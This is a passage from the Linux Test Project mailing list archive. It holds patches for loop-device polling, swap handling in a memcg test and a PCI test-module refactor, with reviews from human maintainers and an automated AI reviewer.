diff --git a/lib/tst_device.c b/lib/tst_device.c
index 744173ffe..00304711b 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_path(char *dev, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -93,8 +93,13 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path && set_dev_loop_path(rc, path, path_len))
-				tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			if (path) {
+				path_set = TST_RETRY_FN_EXP_BACKOFF(
+					set_dev_loop_path(rc, path, path_len),
+					TST_RETVAL_EQ0, 1);
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -161,7 +166,7 @@ int tst_attach_device(const char *dev, const char *file)
 			 LO_NAME_SIZE);
 	}
 
-	dev_fd = open(dev, O_RDWR);
+	dev_fd = TST_RETRY_FN_EXP_BACKOFF(open(dev, O_RDWR), TST_RETVAL_GE0, 1);
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
 		return 1;
-- 
2.55.0.571.g244d577d93-goog


From wegao@suse.com  Wed Aug  5 05:11:32 2026
From: wegao@suse.com (Wei Gao)
Date: Wed, 5 Aug 2026 03:11:32 +0000
Subject: [LTP] fsconfig04: Check FSCONFIG_SET_PATH
In-Reply-To: <20260804041751.8871-1-linuxtestproject.agent@gmail.com>
References: <20260804010439.15195-1-wegao@suse.com>
 <20260804041751.8871-1-linuxtestproject.agent@gmail.com>
Message-ID: <anKp5GokntftzFa3@autotest-wegao.qe.prg2.suse.org>

On Tue, Aug 04, 2026 at 04:17:51AM +0000, linuxtestproject.agent@gmail.com wrote:
> Hi Wei,
> 
> On Aug 4, 2026, Wei Gao wrote:
> > fsconfig04: Check FSCONFIG_SET_PATH
> 
> > +	TEST(fsconfig(fd, FSCONFIG_SET_PATH, "journal_path", dev2, 0));
> > +	if (TST_RET == -1) {
> > +		if (TST_ERR == EOPNOTSUPP)
> > +			tst_brk(TCONF, "fsconfig(FSCONFIG_SET_PATH) not supported");
> > +		else
> > +			tst_brk(TFAIL | TTERRNO, "fsconfig(FSCONFIG_SET_PATH) failed");
> > +	}
> 
> Could this test be gated with .min_kver = "7.2"?
> 
> Before Linux 7.2, ext4 declared journal_path as a string parameter, so
> FSCONFIG_SET_PATH is rejected with EINVAL rather than EOPNOTSUPP. Since
> fsopen_supported_by_kernel() only gates fsopen at Linux 5.2, those kernels
> reach the else branch and report TFAIL instead of TCONF.
If fsconfig parameter is correct, return EINVAL should be an kernel bug.
Current logic is correct.
I guess AI mix wtih some old code with new API. But how to fix AI's rule is a
question.
> 
> > +	SAFE_SSCANF(dev2, "/dev/%s", loop_name);
> > +
> > +	snprintf(path, sizeof(path), "/sys/block/%s/dev", loop_name);
> > +	SAFE_FILE_SCANF(path, "%u:%u", &major, &minor);
> 
> Could the device number be obtained from stat(dev2).st_rdev instead?
> 
> tst_find_free_loopdev() also supports /dev/loop/N and /dev/block/loopN.
> Those paths produce loop/N or block/loopN here, causing the test to read a
> nonexistent sysfs path and terminate with TBROK.
> 
> > +	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev1, NULL);
> > +}
> > +
> > +static void run(void)
> > +{
> > +	...
> > +	TEST(fsconfig(fd, FSCONFIG_SET_PATH, "journal_path", dev2, 0));
> 
> Could each iteration reset dev0 to dev1 or alternate the source and target
> journal devices?
> 
> The first iteration persists dev2 in dev0's superblock. Every subsequent
> -i iteration requests dev2 again, so it no longer exercises a dynamic
> journal-device change.
> 
> Verdict - Needs revision
> 
> ---
> Note:
> 
> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.
> 
> Regards,
> LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Wed Aug  5 06:09:54 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 04:09:54 +0000
Subject: [LTP] lib: Use backoff polling to wait for loop device nodes
In-Reply-To: <20260805025418.1249003-1-wakel@google.com>
References: <20260805025418.1249003-1-wakel@google.com>
Message-ID: <20260805040954.7675-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Aug 5, 2026, Wake Liu wrote:
> lib: Use backoff polling to wait for loop device nodes

> +				path_set = TST_RETRY_FN_EXP_BACKOFF(
> +					set_dev_loop_path(rc, path, path_len),
> +					TST_RETVAL_EQ0, 1);

Could the declaration of tst_multiply_timeout() be made available to this
legacy-API library, or could polling avoid this macro? The macro expands to a
call to tst_multiply_timeout(), but test.h does not declare it. GCC reports an
implicit declaration and Clang rejects both new call sites under C99:

> error: call to undeclared function 'tst_multiply_timeout'; ISO C99 and later do not support implicit function declarations

> tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
> doubling each try, capped at 100ms) to wait for the device node to be
> successfully populated.

Could this timing description be corrected or the requested timing be
implemented? TST_RETRY_FN_EXP_BACKOFF(..., 1) starts at one microsecond and
uses one second as its maximum-delay threshold, subject to
tst_multiply_timeout().

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From li.wang@linux.dev  Wed Aug  5 08:35:23 2026
From: li.wang@linux.dev (Li Wang)
Date: Wed, 5 Aug 2026 14:35:23 +0800
Subject: [LTP] [PATCH v4] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260805025418.1249003-1-wakel@google.com>
References: <anKexVXAkhsMGpZy@linux.dev>
 <20260805025418.1249003-1-wakel@google.com>
Message-ID: <anLZq7uL9FfBaC65@linux.dev>

Reviewed-by: Li Wang <li.wang@linux.dev>

-- 
Regards,
Li Wang

From wangxuewen@kylinos.cn  Wed Aug  5 08:40:53 2026
From: wangxuewen@kylinos.cn (Xuewen Wang)
Date: Wed,  5 Aug 2026 14:40:53 +0800
Subject: [LTP] [PATCH v2] memcg/functional: fix memcg_failcnt intermittent
 timeout by disabling swap
Message-ID: <20260805064053.916492-1-wangxuewen@kylinos.cn>

memcg_failcnt.sh tests the memory.failcnt counter by allocating
reclaimable memory (mmap-anon/mmap-file/shm) beyond a tiny cgroup
limit (1 page). It relies on the process being OOM-killed so that
signal_memcg_process()'s wait loop exits.

With swap enabled the kernel usually still OOM-kills the process,
but on arm64 reclaim (swap out) sometimes succeeds instead:
usage_in_bytes stays at the limit and the process keeps running,
so the wait loop times out (TBROK) intermittently.

Example failure on arm64 (kernel 6.6):
  memcg_failcnt 2 TBROK: timed out on memory.usage_in_bytes 4096 0 8192

Disable swap around the allocation and re-enable it afterwards,
mirroring what memcg_limit_in_bytes.sh already does for the same
reclaimable memory types.

Signed-off-by: Xuewen Wang <wangxuewen@kylinos.cn>
---
Changes in v2:
- Drop "2>/dev/null" from swapoff/swapon so that a failure to disable
  swap (or a missing swapoff binary) stays visible, instead of silently
  letting the intermittent timeout recur. Per the LTP AI review, the
  redirect hid the very error this fix relies on, and
  memcg_limit_in_bytes.sh does not redirect stderr either.
---
 .../controllers/memcg/functional/memcg_failcnt.sh     | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
index 3a02d16c2..9ac3880f6 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
@@ -11,11 +11,20 @@
 MEMCG_TESTFUNC=do_test
 MEMCG_SHMMAX=1
 TST_TEST_DATA="--mmap-anon --mmap-file --shm"
+TST_CLEANUP=do_cleanup
+
+do_cleanup()
+{
+	memcg_cleanup
+	swapon -a
+}
 
 do_test()
 {
 	ROD echo $MEMORY_LIMIT \> memory.limit_in_bytes
 
+	swapoff -a
+
 	start_memcg_process $2 -s ${MEMORY_TO_ALLOCATE}
 	ROD echo $MEMCG_PROCESS_PID \> tasks
 
@@ -24,6 +33,8 @@ do_test()
 
 	stop_memcg_process
 
+	swapon -a
+
 	failcnt=$(cat memory.failcnt)
 	if [ $failcnt -gt 0 ]; then
 		tst_res TPASS "memory.failcnt is $failcnt, > 0 as expected"
-- 
2.25.1


From andrea.cervesato@suse.com  Wed Aug  5 08:52:33 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 06:52:33 +0000
Subject: [LTP] [PATCH v4] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260805025418.1249003-1-wakel@google.com>
Message-ID: <6a72ddb2.fc4d87c3.635b2.8224@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From li.wang@linux.dev  Wed Aug  5 08:53:00 2026
From: li.wang@linux.dev (Li Wang)
Date: Wed, 5 Aug 2026 14:53:00 +0800
Subject: [LTP] lib: Use backoff polling to wait for loop device nodes
In-Reply-To: <20260805040954.7675-1-linuxtestproject.agent@gmail.com>
References: <20260805025418.1249003-1-wakel@google.com>
 <20260805040954.7675-1-linuxtestproject.agent@gmail.com>
Message-ID: <anLdzKj7Z4HYhb7T@linux.dev>

Hi Wake,

The AI comments make sense, I overlooked them before ack your patch.

TST_RETRY_FN_EXP_BACKOFF() is not a drop-in replacement here: it
depends on tst_multiply_timeout(), which is not declared by test.h
for legacy-API users, and its timing semantics do not match the
commit message. In particular, the argument 1 is 1us, not 1ms,
and the cap is the macro's own timeout-adjusted threshold rather
than 100ms.

On Wed, Aug 05, 2026 at 04:09:54AM +0000, linuxtestproject.agent@gmail.com wrote:
> Hi Wake,
> 
> On Aug 5, 2026, Wake Liu wrote:
> > lib: Use backoff polling to wait for loop device nodes
> 
> > +				path_set = TST_RETRY_FN_EXP_BACKOFF(
> > +					set_dev_loop_path(rc, path, path_len),
> > +					TST_RETVAL_EQ0, 1);
> 
> Could the declaration of tst_multiply_timeout() be made available to this
> legacy-API library, or could polling avoid this macro? The macro expands to a
> call to tst_multiply_timeout(), but test.h does not declare it. GCC reports an
> implicit declaration and Clang rejects both new call sites under C99:
> 
> > error: call to undeclared function 'tst_multiply_timeout'; ISO C99 and later do not support implicit function declarations
> 
> > tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
> > doubling each try, capped at 100ms) to wait for the device node to be
> > successfully populated.
> 
> Could this timing description be corrected or the requested timing be
> implemented? TST_RETRY_FN_EXP_BACKOFF(..., 1) starts at one microsecond and
> uses one second as its maximum-delay threshold, subject to
> tst_multiply_timeout().
> 
> Verdict - Needs revision
> 
> ---
> Note:
> 
> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.
> 
> Regards,
> LTP AI Reviewer
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Regards,
Li Wang

From andrea.cervesato@suse.com  Wed Aug  5 08:55:24 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 06:55:24 +0000
Subject: [LTP] [PATCH v4] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260805025418.1249003-1-wakel@google.com>
Message-ID: <6a72de5d.d5b2c389.26c2a.b4e4@mx.google.com>

Hi Wake,

I sent the Reviewed-by tag to the wrong email. @Li the agent review is
correct and backoff polling is not working with old API. We need to find
an another way for that.

As you can see the CI is failing everywhere in v4:
https://patchwork.kernel.org/project/ltp/patch/20260805025418.1249003-1-wakel@google.com/

Regards
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From li.wang@linux.dev  Wed Aug  5 09:10:50 2026
From: li.wang@linux.dev (Li Wang)
Date: Wed, 5 Aug 2026 15:10:50 +0800
Subject: [LTP] [PATCH v4] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <6a72de5d.d5b2c389.26c2a.b4e4@mx.google.com>
References: <20260805025418.1249003-1-wakel@google.com>
 <6a72de5d.d5b2c389.26c2a.b4e4@mx.google.com>
Message-ID: <anLhvtnHhHay5Y93@linux.dev>

Andrea Cervesato via ltp wrote:

> Hi Wake,
> 
> I sent the Reviewed-by tag to the wrong email. @Li the agent review is
> correct and backoff polling is not working with old API. We need to find
> an another way for that.
> 
> As you can see the CI is failing everywhere in v4:
> https://patchwork.kernel.org/project/ltp/patch/20260805025418.1249003-1-wakel@google.com/

Yes, a simple way to fix it is to declare the tst_multiply_timeout()
in tst_common.h directly, then the lib can build successfully.

--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -26,6 +26,8 @@
 #define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK(x, (typeof(x))(a) - 1)
 #define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))

+unsigned int tst_multiply_timeout(unsigned int timeout);
+
 /**
  * TST_RETRY_FUNC() - Repeatedly retry a function with an increasing delay.
  * @FUNC - The function which will be retried


-- 
Regards,
Li Wang

From li.wang@linux.dev  Wed Aug  5 09:34:49 2026
From: li.wang@linux.dev (Li Wang)
Date: Wed, 5 Aug 2026 15:34:49 +0800
Subject: [LTP] [PATCH v2] memcg/functional: fix memcg_failcnt
 intermittent timeout by disabling swap
In-Reply-To: <20260805064053.916492-1-wangxuewen@kylinos.cn>
References: <20260805064053.916492-1-wangxuewen@kylinos.cn>
Message-ID: <anLnmVKGARAsrV6O@linux.dev>

Hi Xuewen,

Xuewen Wang wrote:

> memcg_failcnt.sh tests the memory.failcnt counter by allocating
> reclaimable memory (mmap-anon/mmap-file/shm) beyond a tiny cgroup
> limit (1 page). It relies on the process being OOM-killed so that
> signal_memcg_process()'s wait loop exits.
> 
> With swap enabled the kernel usually still OOM-kills the process,
> but on arm64 reclaim (swap out) sometimes succeeds instead:
> usage_in_bytes stays at the limit and the process keeps running,
> so the wait loop times out (TBROK) intermittently.
> 
> Example failure on arm64 (kernel 6.6):
>   memcg_failcnt 2 TBROK: timed out on memory.usage_in_bytes 4096 0 8192
> 
> Disable swap around the allocation and re-enable it afterwards,
> mirroring what memcg_limit_in_bytes.sh already does for the same
> reclaimable memory types.

This fix make sense, but I'd rather go with a tidy way:

...
TST_SETUP=do_setup
TST_CLEANUP=do_cleanup

do_setup()
{
        memcg_setup
        swapoff -a
}

do_cleanup()
{
        swapon -a
        memcg_cleanup
}

...

My Red Hat email address is no longer used. Please CC my new
address for future versions:

  li.wang@linux.dev
or:
  liwang@hygon.cn

-- 
Regards,
Li Wang

From linuxtestproject.agent@gmail.com  Wed Aug  5 09:40:04 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 07:40:04 +0000
Subject: [LTP] memcg/functional: fix memcg_failcnt intermittent timeout
 by disabling swap
In-Reply-To: <20260805064053.916492-1-wangxuewen@kylinos.cn>
References: <20260805064053.916492-1-wangxuewen@kylinos.cn>
Message-ID: <20260805074004.4086-1-linuxtestproject.agent@gmail.com>

Hi Xuewen,

On Aug 5, 2026, Xuewen Wang wrote:
> memcg/functional: fix memcg_failcnt intermittent timeout by disabling swap

> +TST_CLEANUP=do_cleanup
> +
> +do_cleanup()
> +{
> +	memcg_cleanup
> +	swapon -a
> +}

Could the test save and restore the initially active swap areas instead?
`swapon -a` does not restore the original state: an active area absent from
fstab, such as zram, remains disabled, while an fstab area that was initially
disabled may be enabled. The cleanup also runs if setup exits before
`swapoff -a`, so that path can enable swap without the test disabling it.

> +	swapoff -a

Could `swapon` and `swapoff` be declared in `TST_NEEDS_CMDS`, and could this
invocation abort on failure? A bare command failure is ignored by the shell
library, so a missing command or a failure to move swapped pages back to RAM
allows the allocation to proceed with swap still active and preserves the
timeout this patch is intended to fix. Failures while restoring swap should
also be reported.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From andrea.cervesato@suse.de  Wed Aug  5 11:44:56 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Wed, 05 Aug 2026 11:44:56 +0200
Subject: [LTP] [PATCH 0/2] tcpi refactoring
Message-ID: <20260805-tpci_refactoring-v1-0-4ca8d84f8a95@suse.com>

Rewrite the tcpi test so we use the new LTP API.

- rewrite kernel module
- rewrite LTP test
- merge kernel module and LTP test in the same folder

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Andrea Cervesato (2):
      tpci: refactor kernel module
      tcpi: refactor test using new API

 .../pci/{tpci_kernel => tpci}/.gitignore           |   3 +-
 testcases/kernel/device-drivers/pci/tpci/Makefile  |  22 ++
 .../pci/{tpci_kernel => tpci}/ltp_tpci.c           | 230 +++++++++++----------
 testcases/kernel/device-drivers/pci/tpci/tpci.c    | 156 ++++++++++++++
 testcases/kernel/device-drivers/pci/tpci/tpci.h    |  36 ++++
 .../kernel/device-drivers/pci/tpci_kernel/Makefile |  35 ----
 .../pci/tpci_kernel/pci-exp-tests-HOWTO            |  58 ------
 .../kernel/device-drivers/pci/tpci_kernel/tpci.h   |  43 ----
 .../kernel/device-drivers/pci/tpci_user/.gitignore |   1 -
 .../kernel/device-drivers/pci/tpci_user/Makefile   |  20 --
 .../kernel/device-drivers/pci/tpci_user/tpci.c     | 115 -----------
 11 files changed, 332 insertions(+), 387 deletions(-)
---
base-commit: 55df2975679d15d566d02b677c326eaedb4dc2b6
change-id: 20260804-tpci_refactoring-64b59221ae5c

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Wed Aug  5 11:44:57 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Wed, 05 Aug 2026 11:44:57 +0200
Subject: [LTP] [PATCH 1/2] tpci: refactor kernel module
In-Reply-To: <20260805-tpci_refactoring-v1-0-4ca8d84f8a95@suse.com>
References: <20260805-tpci_refactoring-v1-0-4ca8d84f8a95@suse.com>
Message-ID: <20260805-tpci_refactoring-v1-1-4ca8d84f8a95@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

The kernel module lacked proper SPDX licensing, documentation, and
used deprecated permission macros.

Update the code to modern kernel standards by applying SPDX tags,
replacing sscanf with kstrto*, replacing custom print macros with
standard pr_* macros, adding a documentation block, and removing
the stale pci-exp-tests-HOWTO file which references long-removed
paths and macros.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 .../device-drivers/pci/tpci_kernel/ltp_tpci.c      | 230 +++++++++++----------
 .../pci/tpci_kernel/pci-exp-tests-HOWTO            |  58 ------
 .../kernel/device-drivers/pci/tpci_kernel/tpci.h   |  21 +-
 3 files changed, 123 insertions(+), 186 deletions(-)

diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c b/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
index 45138d834d099b62f201977b284bc8d12647056c..033ac1f0008e358d1afd0240bf1a9855ec32e1fd 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
+++ b/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
@@ -1,47 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
+ *	5/20/2003 - Sean Ruyle (srruyle@us.ibm.com)
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
+ *	8/20/2004 - Amit Khanna (amit.khanna@intel.com)
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * This PCI and PCI-Express testing kernel module allows test calls to be
+ * driven through various sysfs interactions in a user-space program.
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * This pci and pci-express testing kernel module will allow test calls
- * to be driven through various ioctl calls in a
- * user space program that has attained the appropriate
- * file descriptor for this device. For the functions of
- * this module to work correctly there must be a pci / pci-express
- * device somewhere in the system. The tests do not need
- * a specific device, and the first pci device available
- * will be grabbed.
+ * For the functions of this module to work correctly, there must be a
+ * PCI / PCI-Express device somewhere in the system. The tests do not need
+ * a specific device; the first PCI device available will be grabbed.
  *
- * author: Sean Ruyle (srruyle@us.ibm.com)
- * date:   5/20/2003
- * PCI-Express test scripts author: Amit Khanna (amit.khanna@intel.com)
- * date:   8/20/2004
+ * The following test cases can be called from user-space:
  *
- * file:   tpci.c,
- * module: tpci
+ * - PCI_DISABLE
+ * - PCI_ENABLE
+ * - FIND_BUS
+ * - FIND_DEVICE
+ * - FIND_CLASS
+ * - FIND_SUBSYS
+ * - BUS_SCAN
+ * - SLOT_SCAN
+ * - BUS_ADD_DEVICES
+ * - MATCH_DEVICE
+ * - REG_DRIVER
+ * - UNREG_DRIVER
+ * - PCI_RESOURCES
+ * - SAVE_STATE
+ * - RESTORE_STATE
+ * - FIND_CAP
+ * - PCI_EXP_CAP_CONFIG
  */
 
+#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+
 #include <linux/types.h>
 #include <linux/kernel.h>
 #include <linux/fs.h>
-#include <linux/ioctl.h>
 #include <linux/module.h>
 #include <linux/init.h>
 #include <linux/pci.h>
-
 #include "tpci.h"
 
 MODULE_AUTHOR("Sean Ruyle <srruyle@us.ibm.com>");
@@ -50,13 +52,6 @@ MODULE_AUTHOR("Copyright (c) 2013 Oracle and/or its affiliates");
 MODULE_DESCRIPTION("LTP PCI Test");
 MODULE_LICENSE("GPL");
 
-#define prk_err(fmt, ...) \
-	pr_err(PCI_DEVICE_NAME ": " fmt "\n", ##__VA_ARGS__)
-#define prk_info(fmt, ...) \
-	pr_info(PCI_DEVICE_NAME ": " fmt "\n", ##__VA_ARGS__)
-#define prk_debug(fmt, ...) \
-	pr_debug(PCI_DEVICE_NAME ": " fmt "\n", ##__VA_ARGS__)
-
 #define TPASS	0
 #define TFAIL	1
 #define TSKIP	32
@@ -105,15 +100,19 @@ static int probe_pci_dev(unsigned int bus, unsigned int slot)
 	}
 
 	dev = pci_get_domain_bus_and_slot(0, bus, slot);
-	if (!dev || !dev->driver)
+	if (!dev)
+		return -ENODEV;
+	if (!dev->driver) {
+		pci_dev_put(dev);
 		return -ENODEV;
+	}
 
-	prk_info("found pci_dev '%s', bus %u, devfn %u",
+	pr_info("found pci_dev '%s', bus %u, devfn %u\n",
 		pci_name(dev), bus, slot);
 
 	ltp_pci.dev = dev;
 	ltp_pci.bus = dev->bus;
-	prk_info("Bus number: %d", dev->bus->number);
+	pr_info("Bus number: %d\n", dev->bus->number);
 	return 0;
 }
 
@@ -126,20 +125,20 @@ static int pci_enable(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("enable pci device");
+	pr_info("enable pci device\n");
 
 	/* check if can enable the device pointer */
 	if (!dev) {
-		prk_err("dev is NULL");
+		pr_err("dev is NULL\n");
 		return TFAIL;
 	}
 
 	if (pci_enable_device(dev)) {
-		prk_err("failed to enable pci device");
+		pr_err("failed to enable pci device\n");
 		return TFAIL;
 	}
 
-	prk_info("enabled pci device");
+	pr_info("enabled pci device\n");
 	return TPASS;
 }
 
@@ -147,15 +146,15 @@ static int pci_disable(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("disable pci device");
+	pr_info("disable pci device\n");
 
 	/* check if device pointer exists */
 	if (!dev) {
-		prk_err("dev is NULL");
+		pr_err("dev is NULL\n");
 		return TFAIL;
 	}
 
-	prk_info("is pci enabled '%d', is managed '%d'",
+	pr_info("is pci enabled '%d', is managed '%d'\n",
 		pci_is_enabled(dev), pci_is_managed(dev));
 
 	pci_release_regions(dev);
@@ -164,13 +163,13 @@ static int pci_disable(void)
 	if (dev->current_state == PCI_D3hot ||
 		dev->current_state == PCI_D3cold) {
 
-		prk_info("disabled pci device, state '%s'",
+		pr_info("disabled pci device, state '%s'\n",
 			pci_power_name(dev->current_state));
 		return TPASS;
 
 	}
 
-	prk_err("failed to disable pci device, state '%s'",
+	pr_err("failed to disable pci device, state '%s'\n",
 		pci_power_name(dev->current_state));
 	return TFAIL;
 }
@@ -186,19 +185,19 @@ static int test_find_bus(void)
 	int num = ltp_pci.bus->number;
 	struct pci_bus *temp = NULL;
 
-	prk_info("find bus");
+	pr_info("find bus\n");
 
 	temp = pci_find_bus(pci_domain_nr(ltp_pci.bus), num);
 
 	if (!temp) {
-		prk_info("pci_find_bus failed");
+		pr_info("pci_find_bus failed\n");
 		return TFAIL;
 	} else if (temp->number != num) {
-		prk_err("returned bus pointer w/ wrong bus number");
+		pr_err("returned bus pointer w/ wrong bus number\n");
 		return TFAIL;
 	}
 
-	prk_info("success returned bus pointer");
+	pr_info("success returned bus pointer\n");
 	return TPASS;
 }
 
@@ -212,16 +211,16 @@ static int test_find_class(void)
 	unsigned int num = ltp_pci.dev->class;
 	struct pci_dev *temp = NULL;
 
-	prk_info("find pci class");
+	pr_info("find pci class\n");
 
 	temp = pci_get_class(num, NULL);
 
 	if (!temp) {
-		prk_err("failed to find pci device from class number");
+		pr_err("failed to find pci device from class number\n");
 		return TFAIL;
 	}
 
-	prk_info("found pci device from class number");
+	pr_info("found pci device from class number\n");
 	pci_dev_put(temp);
 
 	return TPASS;
@@ -238,16 +237,16 @@ static int test_find_device(void)
 	struct pci_dev *temp = NULL;
 	unsigned short ven = ltp_pci.dev->vendor, dev = ltp_pci.dev->device;
 
-	prk_info("get pci device");
+	pr_info("get pci device\n");
 
 	temp = pci_get_device(ven, dev, NULL);
 
 	if (!temp) {
-		prk_err("failed to find pci device from device info");
+		pr_err("failed to find pci device from device info\n");
 		return TFAIL;
 	}
 
-	prk_info("found pci device from device info");
+	pr_info("found pci device from device info\n");
 	pci_dev_put(temp);
 
 	return TPASS;
@@ -267,15 +266,15 @@ static int test_find_subsys(void)
 		ss_ven = ltp_pci.dev->subsystem_vendor,
 		ss_dev = ltp_pci.dev->subsystem_device;
 
-	prk_info("get pci subsys");
+	pr_info("get pci subsys\n");
 	temp = pci_get_subsys(ven, dev, ss_ven, ss_dev, NULL);
 
 	if (!temp) {
-		prk_err("failed to find pci device from subsys info");
+		pr_err("failed to find pci device from subsys info\n");
 		return TFAIL;
 	}
 
-	prk_info("found pci device from subsys info");
+	pr_info("found pci device from subsys info\n");
 	pci_dev_put(temp);
 
 	return TPASS;
@@ -293,7 +292,7 @@ static int test_scan_bus(void)
 	int num;
 	struct pci_bus *bus = ltp_pci.bus;
 
-	prk_info("scan pci bus");
+	pr_info("scan pci bus\n");
 
 	num = pci_rescan_bus(bus);
 	/*
@@ -301,10 +300,10 @@ static int test_scan_bus(void)
 	 * max number of bus or less than 0
 	 */
 	if (num > MAX_BUS || num < 0) {
-		prk_err("failed scan bus");
+		pr_err("failed scan bus\n");
 		return TFAIL;
 	}
-	prk_info("success scan bus");
+	pr_info("success scan bus\n");
 	return TPASS;
 }
 
@@ -319,18 +318,18 @@ static int test_slot_scan(void)
 	int ret, num = ltp_pci.dev->devfn;
 	struct pci_bus *bus = ltp_pci.bus;
 
-	prk_info("scan pci slot");
+	pr_info("scan pci slot\n");
 
 	if ((num % 8) != 0)
 		return TPASS;
 
 	ret = pci_scan_slot(bus, num);
 	if (ret >= 0) {
-		prk_info("found '%d' devices from scan slot", ret);
+		pr_info("found '%d' devices from scan slot\n", ret);
 		return TPASS;
 	}
 
-	prk_err("pci_scan_slot failed");
+	pr_err("pci_scan_slot failed\n");
 	return TFAIL;
 }
 
@@ -345,16 +344,16 @@ static int test_bus_add_devices(void)
 {
 	struct pci_bus *bus = ltp_pci.bus;
 
-	prk_info("add bus device");
+	pr_info("add bus device\n");
 
 	pci_bus_add_devices(bus);
 
 	if (bus) {
-		prk_info("called bus_add_device");
+		pr_info("called bus_add_device\n");
 		return TPASS;
 	}
 
-	prk_err("bus_add_device failed");
+	pr_err("bus_add_device failed\n");
 	return TFAIL;
 }
 
@@ -369,23 +368,23 @@ static int test_match_device(void)
 	struct pci_driver *drv;
 	const struct pci_device_id *id;
 
-	prk_info("test pci_device_id()");
+	pr_info("test pci_device_id()\n");
 
 	drv = pci_dev_driver(dev);
 
 	if (!drv) {
-		prk_err("driver pointer not allocated for pci_dev");
+		pr_err("driver pointer not allocated for pci_dev\n");
 		return TFAIL;
 	}
 
 	id = pci_match_id(drv->id_table, dev);
 
 	if (id) {
-		prk_info("match device success");
+		pr_info("match device success\n");
 		return TPASS;
 	}
 
-	prk_err("failed return pci_device_id");
+	pr_err("failed return pci_device_id\n");
 	return TFAIL;
 }
 
@@ -398,13 +397,13 @@ static int test_match_device(void)
  */
 static int test_reg_driver(void)
 {
-	prk_info("test pci_register_driver");
+	pr_info("test pci_register_driver\n");
 	if (pci_register_driver(&ltp_pci_driver)) {
-		prk_err("unsuccessful registering pci driver");
+		pr_err("unsuccessful registering pci driver\n");
 		return TFAIL;
 	}
